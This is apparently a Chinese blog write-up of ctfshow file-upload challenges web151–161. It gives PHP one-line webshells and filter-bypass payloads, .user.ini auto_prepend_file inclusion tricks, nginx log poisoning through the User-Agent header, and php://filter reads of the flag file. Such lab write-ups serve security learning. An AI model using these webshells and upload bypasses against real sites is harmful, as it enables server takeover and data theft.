ctfshow——文件上传
文章目录
- 文件上传思路
- web 151
- web 152
- web 153
- 知识点
- 解题
- web 154
- web 155
- web 156
- web 157
- web 158
- web 159
- web160
- web 161
文件上传思路
web 151
打开页面显示:前台校验不可靠。说明这题是前端验证。
右键查看源代码,找到与上传点有关的前端代码:
这里使用了一个叫Layui
的组件库,url代表上传接口,accept代表允许上传的文件类型,exts代表允许上传的文件后缀。可见这里前端只允许上传图片类型的文件,且文件后缀名为png。
绕过前端验证的最简单方法就是,上传一个png的webshell,再使用burp抓包更改文件后缀名,再访问上传的webshell。
可见,上传成功~,下一步就是写一个shell<?php @eval($_POST['cmd']);?>
,用webshell连接工具蚁剑去连接上传的webshell。
这里我们详细分析一句话木马,不借助工具获取flag。
- php代码要写在
<?php ?>
中,php解析器才会认出这是php代码; @
符号的意思是不报错,即使执行错误,也不报错;eval()
:把字符串当做PHP代码执行;$_POST['cmd']
接收POST传参,传参的变量名叫cmd
。除了POST传参,还有GET传参
$_GET['cmd']
、全局的传参方法$_REQUEST['cmd']
(不管是GET传参 or POST传参 or FIlE传参 or COOKIE传参)。- php执行系统命令的函数有
system()
、exec()
、shell_exec()
、反撇号。php执行外部命令
web 152
跟前一题一样的
web 153
知识点
自PHP 5.3.0起,PHP支持基于每个目录的INI文件配置,此类文件仅被CGI/Fast SAPI处理。如果PHP以模块化的方式运行在Apache里,则.htaccess
文件有同样效果。除了主php.ini
之外,php还会在每个目录下扫描INI文件,从被执行的PHP文件所在目录开始一直上升到web根目录($_SERVER[‘DOCUMENT_ROOT’]所指定)。如果被执行的php文件在web根目录之外,则只扫描该目录。
配置选项是有权限的。
php.ini
是主要的配置文件,.user.ini
是用户自定义的配置文件且能覆盖php.ini
的内容,php解析器在解析php文件时会扫描.user.ini
的配置。
在.user.ini
风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 和PHP_INI_ALL模式的 INI 设置可被识别。用人话说就是除了PHP_INI_SYSTEM模式的配置以外都可以在.user.ini中进行重写。两个重要的配置选项:
auto_append_file=filename //相当于在每个php文件尾加上 include(“filename”)
auto_prepend_file=filename //相当于文件头加上 include(“filename”)
利用.user,ini
的方法:保证三个文件(.user.ini
、shell.png
、xx.php
)在同一目录下,再执行该目录下的php文件。例如:
//.user.iniauto_prepend_file=1.png//1.png<?php phpinfo();?>//1.php(任意php文件)
三个文件在一个目录下,就相当于1.php文件开头插入了
include('1.png');
进行文件包含,因为1.png中有php代码,所以经过include之后会执行shell脚本。
解题
此题前后端都检测content-type
值,只允许上传PNG文件。
上传.user.ini
文件,内容为auto_prepend_file=shell.png
上传shell.png文件
从之前可以得知,upload
文件夹下有一个index.php的文件,故访问../upload/index.php?cmd=phpinfo();
,可以看到phpinfo的页面。
web 154
知识点:过滤<?php
绕过方法:使用短标签进行绕过(没有限制条件)。如:
<?php @eval($_GET['cmd']);?> == <?=@eval($_GET['cmd']);?>
此题过滤了
php
这一关键词。使用短标签进行绕过。
pyload:
<?=@eval($_GET['cmd']);?>
web 155
同web 154
web 156
知识点:过滤php
、[]
关键字
绕过方法:
php
关键字被过滤,使用php短标签进行绕过;[]
被过滤,使用{}
进行替换。例如:<?php @eval($_GET['cmd']);?> == <?php @eval($_GET{cmd});?>
payload:
<?=system('cat ../fl*')?>
web 157
在前面的基础上,过滤了{
、;
,而且文件内容不能有php字符串。
绕过方法:
- 过滤
;
,则在短标签里,可以省略;
。例如:
<?php @eval($_GET{cmd});?> == <?php @eval($_GET{cmd})?>
- 过滤
{
,那就不用eval函数接受参数,再执行系统命令,直接用system()
函数执行系统命令。如<?=system(
ls)?>
-cat ../flag.php
==cat ../fl*
payload:
<?=system('cat ../fl*')?>
web 158
同web157
web 159
在前面的基础上,过滤了(
。绕过方法:直接用反撇号
执行系统命令,反撇号就相当于shell_exec()
函数。payload:
<?=`cat ../fl*`?>
web160
在前面的基础上,过滤了反撇号。绕过方法:
-
第一种方法:利用日志包含绕过。就是说有些中间件会将用户访问记录记在日志里,如果将webshell写到日志里,再包含日志,不就可以getshell了吗?操作:
-
同样先上传
.user.ini
文件,内容为auto_prepend_file=shell.png
;
-
上传shell.png文件,文件内容为
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
(log关键词被过滤),且将shell写在UA头中。
- ngnix的日志路径为
/var/log/nginx/access.log
; - php中,可以用
.
进行字符串的拼接;
- 访问
xxx/upload/index.php
.
-
-
第二种方法:因为已经知道flag的位置,通过php伪协议进行文件读取。
- 同样先上传
.user.ini
文件,内容为auto_prepend_file=shell.png
; - 上传shell.png,文件内容为
<?=include"ph"."p://filter/covert.base64-encode/resource=../flag.ph"."p"?>
- 访问
xxx/upload/index.php
,再使用base64进行解码即可。
- 同样先上传
web 161
这关在前面的基础上,还进行文件内容检测(主要是使用getimagesize()
函数进行检测),服务端主要检测文件幻数。其实就是检测文件内容开始的地方,不同后缀名的文件,文件起始的地方是不一样的。
这关很恶心嗷,前端验证只能为png文件,后端检测文件内容必须是gif。
绕过方法:制作图片马,更简单的就是用burp抓包,将你的shell写在文件内容里。
- 先上传
.user.ini
文件,内容为auto_prepend_file=shell.png
(需要加gif文件的文件幻数GIF89a
);
- 上传shell.png,文件内容为
<?=include"ph"."p://filter/covert.base64-encode/resource=../flag.ph"."p"?>
,同样要加文件幻数GIF89a。
- 访问
../upload/index.php
,使用base64进行解码。
相关文章:
ctfshow——文件上传
文章目录 文件上传思路web 151web 152web 153知识点解题 web 154web 155web 156web 157web 158web 159web160web 161 文件上传思路 web 151 打开页面显示:前台校验不可靠。说明这题是前端验证。 右键查看源代码,找到与上传点有关的前端代码:…...
【RocketMQ每日一问】RocketMQ SQL92过滤用法以及原理?
1.生产端 public class SQLProducer {public static int count 10;public static String topic "xiao-zou-topic";public static void main(String[] args) {DefaultMQProducer producer MQUtils.createLocalProducer();IntStream.range(0, count).forEach(i -&g…...
Go语言中的包管理工具之Go Path的使用
GoLang 中常用的包管理的方式 1 )概述 常用的有三种 Go PathGo VendorGo Modules 2 )发展历程 早期go的包管理存在很大缺陷,甚至可以说没有官方统一的包管理工具 一方面官方在努力发布一些实验性的包管理工具。同时也出现了很多社区开发…...
cocos creator(2.4.7版本) webview 可以在上层添加UI控件
实现原理:cocos本身在平台中属于view,所以可以把webview放在底层,以达到目标。 实现过程:参考 cocos creator(2.4.7版本) videoplayer 可以在上层添加UI控件() 需要增加以下过程: …...
2023 年四川省职业院校技能大赛“信息安全管理与评估”样题
2023 年四川省职业院校技能大赛(高等职业教育) “信息安全管理与评估”样题 竞赛需要完成三个阶段的任务,分别完成三个模块,总分共计 1000分。三个模块内容和分值分别是: 第一阶段:模块一 网络平台搭建与设…...
ubuntu2204,mysql8.x安装
ubuntu 2204, MySQL8.x安装 sudo apt-get update sudo apt-get upgrade# 习惯性的先设置一下时区,这里我使用东八区 date -R # 若发现时间正常则无需设置tzselect# 依次选择 4 -> 10 -> 1 -> 1cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtimedate -R# 同步时间…...
CG Magic分享云渲染和本地渲染之间的区别有什么?
无论是效果图渲染还是影视渲染,对于3D设计师来说都是常见的渲染方式就是云渲染和本地渲染。 本地电脑渲染是指将渲染任务分配给本地计算机进行处理,而云渲染是指将渲染任务上传至云端服务器进行处理。 对于一些初入行业的新手朋友来说,会在想…...
【算法与数据结构】763、LeetCode划分字母区间
文章目录 一、题目二、解法三、完整代码 所有的LeetCode题解索引,可以看这篇文章——【算法和数据结构】LeetCode题解。 一、题目 二、解法 思路分析:本题要求为: 1.尽可能多的划分片段2.字母只能出现在一个片段中3.片段连接起来仍然是s&…...
新火种AI|人形机器人敲响上市罗,首日市值高达390亿港元
作者:一号 编辑:彩云 史上第一次!人形机器人在港交所和人类一起敲锣。 12月29日,在港交所现场,熊猫机器人优悠走上舞台,将手中的锣锤递给了优必选创始人、董事长兼CEO周剑,而同周剑一同准…...
SpringMVC框架
SpringMVC 三层架构MVC模式SpringMVC入门案例总结 三层架构 表现层(web) 页面数据的收集,产出页面 业务逻辑层(service) 业务处理 数据访问层(Dao) 数据持久化 MVC模式 SpringMVC 基于Java…...
FreeRTOS——计数型信号量知识总结及实战
1计数型信号量概念 1)计数型信号量相当于队列长度大于1 的队列,因此计数型信号量能够容纳多个资源 2)适用场景: 事件计数: 当每次事件发生后,在事件处理函数中释放计数型信号量(计数值1&#x…...
Linux下Docker Engine安装后的一些配置步骤
一些安装后的配置令Linux主机可以更好地与Docker配合使用。 0x01 以非root用户身份管理Docker Docker守护进程绑定到Unix套接字,而不是TCP端口。默认情况下,root用户拥有Unix套接字,而其他用户只能使用 sudo. Docker守护进程始终以root用户身份运行。 …...
【并发设计模式】聊聊Balking是如何实现以及具体原理
前面的等待唤醒,其实是一个线程等待执行满足条件的逻辑,会一直死等,但是并不是全部的场景都需要死等。比如我们去坐车的时候,公交一直没来,那么就可以不去了。而等待唤醒是公交没来我就等他来了再去。 Guarded Suspen…...
dubbo的一些问题思考
1.dubbo是啥 Dubbo 是一个高性能的 Java RPC(远程过程调用)框架,用于构建分布式服务架构。由阿里巴巴开发并开源,作为一个分布式服务框架,Dubbo 提供了丰富的功能,包括服务治理、远程调用、负载均衡、容错机…...
盛最多水的容器(力扣11题)
例题: 分析: 这道题给出了一个数组,数组里的元素可以看成每一个挡板,要找到哪两个挡板之间盛的水最多,返回盛水量的最大值。这其实是一个双指针问题。 我们可以先固定第一个挡板( i )和最后一个挡板( j ),…...
.babky勒索病毒解密方法|勒索病毒解决|勒索病毒恢复|数据库修复
导言: 网络安全威胁不断进化,其中.babky勒索病毒引起了广泛关注。这篇文章91数据恢复将深入介绍.babky的狡猾特征,以及在遭受其袭击时如何高效地恢复被加密的数据,并提供实用的预防方法。当面对被勒索病毒攻击导致的数据文件加密…...
20240103-通过布局让自己的生活有有意义人生有价值
最近听到看到的一些词 心力、稀缺、卓有成效、知行合一、致良知、心即理、事上练 最近琢磨出这么一个道理,就是任何人做事情其实都有内心趋势和一套适合他自己的内心驱动的方法。我们经常意识不到,我时常也会去寻求做一件事,是不是有特定的…...
JDK17 - 开发者视角,从 JDK8 ~ JDK17 都增加了哪些新特性
目录 前言 一、站在开发视角,从 JDK8 升级到 JDK17 都有哪些新特性 1.1、JDK8 新特性 1.1.1、Optional 类 a)简介 b)使用方法 c)使用场景 1.2、JDK9 新特性 1.2.1、Optional - ifPresentOrElse 解决 if-else 1.2.2、Opt…...
八股文打卡day11——计算机网络(11)
面试题:HTTP多个TCP连接怎么实现? 我的回答: 1.HTTP1.0的时候,一个TCP连接只能进行一次请求响应。可以建立多个连接到服务器,这样就可以同时进行多个请求响应,提高传输效率。 2.HTTP1.1推出了持久连接&am…...
在Android设备上设置和使用隧道代理HTTP
随着互联网的深入发展,网络信息的传递已经成为人们日常生活中不可或缺的一部分。对于我们中国人来说,由于某些特殊的原因,访问国外网站时常常会遇到限制。为了解决这个问题,使用代理服务器成为了许多人的选择。而在Android设备上设…...
Paddle3D 2 雷达点云CenterPoint模型训练
2 Paddle3D 雷达点云CenterPoint模型训练–包含KITTI格式数据地址 2.0 数据集 百度DAIR-V2X开源路侧数据转kitti格式。 2.0.1 DAIR-V2X-I\velodyne中pcd格式的数据转为bin格式 参考源码:雷达点云数据.pcd格式转.bin格式 def pcd2bin():import numpy as npimport…...
RabbitMQ集群的简单说明
1.普通集群(副本集群) 当集群中某一时刻master主节点宕机,可以对master中Queue中的消息进行备份。而就算master宕机了,从节点不会对外提供服务,等到master节点恢复后,系统才会恢复正常。 主从架构的缺点是队列中的消息只是位于主节…...
支付宝沙箱支付-验签出错之编码集异常
异常信息 invalid-signature 错误 验签出错 错误代码 invalid-signature 错误原因: 验签出错,建议检查签名字符串或签名私钥与应用公钥是否匹配,网关生成的验签字符串为: alipay_sdkalipay-sdk-java-dynamicVersionNo&....官方通用…...
图像分割-漫水填充法 floodFill (C#)
版权声明:本文为博主原创文章,转载请在显著位置标明本文出处以及作者网名,未经作者允许不得用于商业目的。 本文的VB版本请访问:图像分割-漫水填充法 floodFill-CSDN博客 FloodFill方法是一种图像处理算法,它的目的是…...
在pycharm中jupyter连接上了以后显示无此库,但是确实已经安装好了某个库,使用python可以跑,但是使用ipython就跑不了
今天遇到一个事情,就是用pycharm的jupyter时,连接不上,后来手动连接上了以后,发现环境好像不对。 一般来说,这里会是python3,所以里面的环境也是普通python的环境,并没有我下载的库,…...
C++多态性——(3)动态联编的实现——虚函数
归纳编程学习的感悟, 记录奋斗路上的点滴, 希望能帮到一样刻苦的你! 如有不足欢迎指正! 共同学习交流! 🌎欢迎各位→点赞 👍 收藏⭐ 留言📝 成功的秘诀就在于多努力一次ÿ…...
docker部署mysql
1.查找mysql镜像 [rootVM-4-5-centos ~]# docker search mysql NAME DESCRIPTION STARS OFFICIAL AUTOMATED mysql MySQL is a widely used, open-sourc…...
python代码大全(持续更新)
读写文件 # 读取文件 with open(file.txt, r) as file:content file.read()# 写入文件 with open(file.txt, w) as file:file.write(Hello, World!)HTTP请求 import requestsresponse requests.get(https://api.example.com/data) data response.json()JSON处理 import j…...
C#学习笔记 - C#基础知识 - C#从入门到放弃 - C# 处理程序异常相关技术
C# 入门基础知识 - C# 处理程序异常相关技术 第11节 处理程序异常相关技术11.1 捕获异常11.2 清除、处理所有异常11.3 引发异常11.4 预定义异常类11.5 自定义异常类11.6 异常的综合运用 更多C#基础知识点可查看:C#学习笔记 - C#基础知识 - C#从入门到放弃 第11节 处…...
[python]项目怎么使用第三方库
要在Python项目中使用第三方库,可以按照以下步骤进行: 安装第三方库:使用pip命令安装要使用的第三方库。例如,要安装requests库,可以运行以下命令: pip install requests导入库文件:在Python项…...
宁波拾谷网站建设/西地那非片多少钱一盒
关于Python,如何利用Python技术变现 & 兼职接单也是大家比较感兴趣的; 这里总结了一些用Python赚外快的方式,大家伙可以自己去尝试一下。 Python兼职分为以下三种: 商家提供接口爬取数据(当然不做违法的爬取) 淘宝、拼多多等商业数据进行分析整理(数据分析、爬虫、…...
八年级做网站/国内真正的免费建站
EasyClick 自定义侧边栏 鉴于官方自带的侧边栏菜单功能少样式丑,现在自己做一个,先移除官方自带的侧边栏,然后加载自定义的菜单布局。 官方自带侧边栏 自定义后的侧边栏图例...
网站制作的文章/国内永久免费的云服务器
原标题:TVS管特性曲线、参数说明及应用TVS管的英文名是TRANSIENT VOLTAGE SUPPRESSOR,中文名叫瞬变抑制。它在承受瞬间高能量脉冲时,能在极短的时间内由原来的高阻抗状态变为低阻抗,并把电压箝制到特定的水平,从而有效…...
诸城哪里有做网站的/免费行情网站
需求:需要对list中LastActualAmount字段内容求和,LastActualAmount为bigdecimal类型。 int mathSumInt list.stream().mapToInt( Student::getMathScoresInt ).sum(); //int类型long mathSumLong list.stream().mapToLong( Student::getMathScoresLong…...
金融类网站建设/廊坊seo优化排名
智慧民生围绕交通、医疗、教育、居住等市民最关心的、最直接的、最现实的热点问题,整合构建面向各类人群的信息化公共服务体系,实现信息化公共服务体系的普及化和无障碍化;充分释放信息化在持续提升交通、医卫、教育、社区等社会民生服务能力…...
wordpress ios shared/河北软文搜索引擎推广公司
数着星星 盼着月亮2021国考笔试成绩终于出了! 成绩今日公布中公锦鲤给大家带来好运哭惹!也太快了吧!只能骂骂咧咧地打开查询入口▽▽▽扫码进入成绩查询入口国考成绩对手成绩&同岗分差万人报名产生千人大岗的XXX局究竟会有多少大神产生…...